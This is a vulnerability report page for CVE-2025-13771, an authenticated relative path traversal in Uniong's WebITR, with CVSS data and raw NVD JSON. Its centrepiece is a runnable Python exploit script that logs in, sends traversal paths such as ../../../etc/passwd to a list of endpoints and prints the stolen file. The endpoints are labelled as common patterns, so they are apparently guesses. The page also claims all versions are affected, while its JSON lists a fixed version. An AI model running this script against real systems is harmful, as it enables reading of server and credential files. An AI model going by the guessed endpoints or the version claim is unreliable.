Security Vulnerability Report
中文
CVE-2025-13771 CVSS 6.5 MEDIUM

CVE-2025-13771

Published: 2025-11-28 08:15:54
Last Modified: 2025-12-01 14:23:55

Description

WebITR developed by Uniong has an Arbitrary File Read vulnerability, allowing authenticated remote attackers to exploit Relative Path Traversal to download arbitrary system files.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:uniong:webitr:*:*:*:*:*:*:*:* - VULNERABLE
WebITR (Uniong) - 所有版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-13771 PoC - WebITR Arbitrary File Read via Path Traversal # Target: WebITR application developed by Uniong # Authentication: Required (low-privilege account) def exploit_cve_2025_13771(target_url, username, password, file_path): """ Exploit for CVE-2025-13771: WebITR Arbitrary File Read vulnerability Args: target_url: Base URL of the vulnerable WebITR application username: Valid username for authentication password: Password for the user file_path: Path to the file to read (e.g., ../../../etc/passwd) Returns: Content of the requested file if exploitation succeeds """ # Login to obtain session login_url = f"{target_url}/login" login_data = { "username": username, "password": password } session = requests.Session() try: # Step 1: Authenticate to the application login_response = session.post(login_url, data=login_data, timeout=10) if login_response.status_code != 200: print(f"[-] Authentication failed with status code: {login_response.status_code}") return None print("[+] Successfully authenticated") # Step 2: Exploit path traversal to read arbitrary file # Common vulnerable endpoint patterns for file read functionality exploit_endpoints = [ "/api/file/read", "/file/download", "/download", "/api/download", "/file?path=", "/api/file?path=" ] for endpoint in exploit_endpoints: if "=" in endpoint: # GET request with parameter exploit_url = f"{target_url}{endpoint}{file_path}" response = session.get(exploit_url, timeout=10) else: # POST request with JSON body exploit_url = f"{target_url}{endpoint}" exploit_data = { "path": file_path, "filename": file_path.split("/")[-1] } response = session.post(exploit_url, json=exploit_data, timeout=10) # Check if file content was returned if response.status_code == 200 and len(response.content) > 0: # Validate we got actual file content if not response.text.startswith("Error") and not response.text.startswith("Not Found"): print(f"[+] Successfully exploited via endpoint: {endpoint}") print(f"[+] File content length: {len(response.content)} bytes") return response.content print("[-] Exploitation failed - no vulnerable endpoint found") return None except requests.RequestException as e: print(f"[-] Request error: {str(e)}") return None if __name__ == "__main__": if len(sys.argv) < 5: print("Usage: python cve_2025_13771_poc.py <target_url> <username> <password> <file_path>") print("Example: python cve_2025_13771_poc.py http://vulnerable-host:8080 admin password ../../../etc/passwd") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] file_to_read = sys.argv[4] result = exploit_cve_2025_13771(target, user, pwd, file_to_read) if result: print("\n[+] File Content:") print(result.decode('utf-8', errors='ignore'))

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13771", "sourceIdentifier": "[email protected]", "published": "2025-11-28T08:15:54.127", "lastModified": "2025-12-01T14:23:55.363", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "WebITR developed by Uniong has an Arbitrary File Read vulnerability, allowing authenticated remote attackers to exploit Relative Path Traversal to download arbitrary system files."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-23"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:uniong:webitr:*:*:*:*:*:*:*:*", "versionEndExcluding": "2_1_0_34", "matchCriteriaId": "414A6A7A-9CC4-4D2E-9AB4-33D5E86C8BA8"}]}]}], "references": [{"url": "https://www.twcert.org.tw/en/cp-139-10539-21f45-2.html", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.twcert.org.tw/tw/cp-132-10538-6a26d-1.html", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}